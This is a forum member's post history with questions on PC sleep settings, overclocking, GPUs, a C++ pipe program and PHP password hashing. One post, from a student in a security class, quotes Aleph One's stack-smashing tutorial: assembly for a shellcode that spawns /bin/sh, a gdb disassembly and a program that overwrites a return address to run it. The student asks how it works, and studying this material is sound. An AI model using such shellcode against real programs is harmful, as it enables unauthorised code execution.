Jump to content


  • Content Count

  • Joined

  • Last visited

Posts posted by Ziggy54354

  1. I have a problem where after setting the bios sleep option to s3 from s1, my computer does not go to sleep automatically. I can however make it manually sleep. It does go to sleep automatically in S1 with the same settings in windows. My motherboard is listed below in my sig and im using vista. Can anyone help me out?


    [the thread desc should say can manually put to sleep.. not but to sleep.]

  2. I've been trying to write a program that replicates how you would type in a series of commands that pipe into one another in linux. I've gotten the program to work with just 2 commands but when i try 3 or more, it does not output anything. If anyone can provide any help with this, that would be great. This is what i've written so far and is very much just for testing... but if I can get this to work then i can probably write the whole program.



    # include <stdio.h>
    # include <stdlib.h>
    # include <unistd.h>
    # include <sys/types.h>
    # include <sys/stat.h>
    # include <sys/wait.h>
    # include <fcntl.h>
    # include <string.h>
    # include <ctype.h>
    #include <iostream>
    using namespace std;
    int main()
    pid_t child = 0;
    int rotate = 0;
    int pipe1[2];
    int pipe2[2];
    char string[1000];
    char *arg1[] = { "cat", "text.txt", (char *) 0 };
    char *arg2[] = { "sort", (char *) 0 };
    char *arg3[] = { "uniq", (char *) 0 };
    char *arg1[] = { "ls", (char *) 0 };
    char *arg2[] = { "sort", (char *) 0 };
    char *arg3[] = { "grep", "test", (char *) 0 };
    char *arg1[] = { "echo", "hi buddy", (char *) 0 };
    char *arg2[] = { "grep", "hi", (char *) 0 };
    //char *arg3[] = { "grep", "hi", (char *) 0 };
    int numcommands = 3;
    for(int i = 0; i < numcommands; i++){
    child = fork();
    	if (child == 0)
    	//cout << "I am child " << i << " " << rotate << endl;
    		if (i == 0 or i == numcommands -1){ //first or last
    			if (i == 0){ //only needs input
    				//cout << "this should happen first" << endl;
    				dup2(pipe1[0], 0); // read end of pipe and stdin
    			if (i == numcommands - 1 and rotate == 0){ //does not need input but needs to put something something out
    				//cout << "this should happen last" << endl;
    				dup2(pipe2[1], 1); // write end of pipe1 and stdout
    			if (i == numcommands - 1 and rotate == 1){ //does not need input but needs to put something something out
    				//cout << "this should happen last" << endl;
    				dup2(pipe1[1], 1); // write end of pipe1 and stdout
    		else {
    			if (rotate == 1){
    				cout << "this should happen 2nd" << endl;
    				dup2(pipe1[1], 1); // write end of pipe1 and stdout
    				//read(pipe2[0], string, 1000);
    				cout << "testing" << endl;					
    				dup2(pipe2[0], 0); // read end of pipe2 and stdin
    				//cout << "this should also not happen" << endl;
    				dup2(pipe1[0], 0); // read end of pipe2  and stdin
    				dup2(pipe2[1], 1); // write end of pipe1 and stdout
    		//cout << "about to execute "<< i << endl;
    		//this is a test			
    		if( i == 0 ) {
    			execvp (arg3[0], arg3); 
    		if (i == 1 ) {
    			execvp (arg2[0], arg2); 
    		if (i == 2 ) {
    			execvp (arg1[0], arg1); 
    		if (rotate == 0) {
    		rotate = 1;
    		else {
    		rotate = 0;
    		//cout << "I am parent" << endl;
    return 0;

  3. Is there a way to have a macro do a find and replace of code that is in a project? I'm changing the names of a bunch of bookmarks and I would like to automatically change the names of the bookmarks in the code to what I am changing them to. Does anyone know if this is possible?

  4. Hey guys i have $190 to use towards my step up from an 8800GT. For only $10 i can get the 9800GTX+ and for $110 I can get the GTX260. My monitors are only 1680x1050 max res and I even plan to play alot of games on my 720p tv. Which of these cards would you guys choose given the situation.

  5. I just installed a radeon 9250 as a PCI card so I can run 3 displays. This worked fine. However now when i go to OC my 8800GT it doesnt show up anymore in any program. Ive tried ATI tool, rivatuner (it shows up but it doesnt give me any option to oc it) and even nvidia's own ntune with no luck. Does anyone have a solution to this?? Thanks

  6. What are you guys using to measure your temps on C2Ds? Ive got coretemp .99 and .94 as well as real temp 2.60. Real temp reports the lowest temps at 10C cooler than CT .99 (at around 56/53 for each core) The two core temps report different temperatures as well. One is in the low 60's and one is in the mid 60's. I'm not sure which one of these programs to trust? What does everyone else use?

  7. Why don't you get a new board instead of a new cpu? You could buy one for like 100 bucks that is more oc friendly. With my current setup im running my e6300 at over 3.3ghz and im still pushing for more. This way u benefit not only from frequency increase, but you will have 2mb of cache instead of 1mb which will no doubt help.

  8. Im overclocking my e6300 on this board right now and i would like to know what kinds of settings everyone is using. Ive been orthos stable for about 18 hours at the following settings:


    fsb: 474

    mult: 7

    VID: +.05

    Dram: 2.1

    NB Core: 1.37

    CPU VTT: 1.25

    Clockgen: 3.6


    Stock NB cooling because of that pesky warranty sticker. If you have this board, please post information about your voltages and etc. AFAIK, only these voltages affect stability and the SB voltages should not be touched (correct me if I am wrong). Also please indicate what type of cooling you have. Thx

  9. I have a dual dvi video card that I'd like to hook up to 2 LCD monitors and a LCD tv. I'd like to have either 2x monitors or 1 monitor and the TV on at a time. Is there a way I can do this without having to keep unplugging and plugging stuff in while using just the dvi outputs on my video card?

  10. My prof decided to give us a buffer overflow assignment for my comp security class... alot of how it works deals with assembly language and c (never learned c... seeing as our curriculum is primarily java based... go figure). We were givin this site http://insecure.org/stf/smashstack.html and on it is the following:


    Looks good. To make sure it works correctly we must compile it and run it.

    But there is a problem. Our code modifies itself, but most operating system

    mark code pages read-only. To get around this restriction we must place the

    code we wish to execute in the stack or data segment, and transfer control

    to it. To do so we will place our code in a global array in the data

    segment. We need first a hex representation of the binary code. Lets

    compile it first, and then use gdb to obtain it.




    void main() {


    jmp 0x2a # 3 bytes

    popl %esi # 1 byte

    movl %esi,0x8(%esi) # 3 bytes

    movb $0x0,0x7(%esi) # 4 bytes

    movl $0x0,0xc(%esi) # 7 bytes

    movl $0xb,%eax # 5 bytes

    movl %esi,%ebx # 2 bytes

    leal 0x8(%esi),%ecx # 3 bytes

    leal 0xc(%esi),%edx # 3 bytes

    int $0x80 # 2 bytes

    movl $0x1, %eax # 5 bytes

    movl $0x0, %ebx # 5 bytes

    int $0x80 # 2 bytes

    call -0x2f # 5 bytes

    .string \"/bin/sh\" # 8 bytes






    [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c

    [aleph1]$ gdb shellcodeasm

    GDB is free software and you are welcome to distribute copies of it

    under certain conditions; type "show copying" to see the conditions.

    There is absolutely no warranty for GDB; type "show warranty" for details.

    GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...

    (gdb) disassemble main

    Dump of assembler code for function main:

    0x8000130 <main>: pushl %ebp

    0x8000131 <main+1>: movl %esp,%ebp

    0x8000133 <main+3>: jmp 0x800015f <main+47>

    0x8000135 <main+5>: popl %esi

    0x8000136 <main+6>: movl %esi,0x8(%esi)

    0x8000139 <main+9>: movb $0x0,0x7(%esi)

    0x800013d <main+13>: movl $0x0,0xc(%esi)

    0x8000144 <main+20>: movl $0xb,%eax

    0x8000149 <main+25>: movl %esi,%ebx

    0x800014b <main+27>: leal 0x8(%esi),%ecx

    0x800014e <main+30>: leal 0xc(%esi),%edx

    0x8000151 <main+33>: int $0x80

    0x8000153 <main+35>: movl $0x1,%eax

    0x8000158 <main+40>: movl $0x0,%ebx

    0x800015d <main+45>: int $0x80

    0x800015f <main+47>: call 0x8000135 <main+5>

    0x8000164 <main+52>: das

    0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp

    0x8000168 <main+56>: das

    0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>

    0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)

    End of assembler dump.

    (gdb) x/bx main+3

    0x8000133 <main+3>: 0xeb


    0x8000134 <main+4>: 0x2a









    char shellcode[] =






    void main() {

    int *ret;


    ret = (int *)&ret + 2;

    (*ret) = (int)shellcode;





    [aleph1]$ gcc -o testsc testsc.c

    [aleph1]$ ./testsc

    $ exit




    first question.. where the heck did the the hex stuff in char shellcode[] from from?

    second question... what is the main doing? like i said im not familiar with the syntax in C so im not sure what putting a * next to a variable does or what the & sign does.

  11. Hey I just got my hands on a system with 8800GTS 512mb in SLI. I'm trying to oc this thing and im having some problems. The os is vista64. For some reason i am unable to use rivatuner. Ive patched it so it works for 64bit. I think the driver may have something to do with it... im using 169.25. What drivers can/should be used with this? Also is there another tool i should use?

  12. Hi guys, im doing a project on web access security and im pretty much a newbie to both php and html. My current setup goes like this. I use an html form which takes a password and then passes it to another pages which uses php and does an md5 hash on the password and stores it in a database(txt based) when a user creates an account. The problem with this though is the password is transfered as cleartext before it gets hashed so people sniffing the line could pick it up. Is there a way i could encrypt the password on the clientside before it is sent server side to be stored into the db?? As a note, i can't use SSL which is pretty dumb.

  • Create New...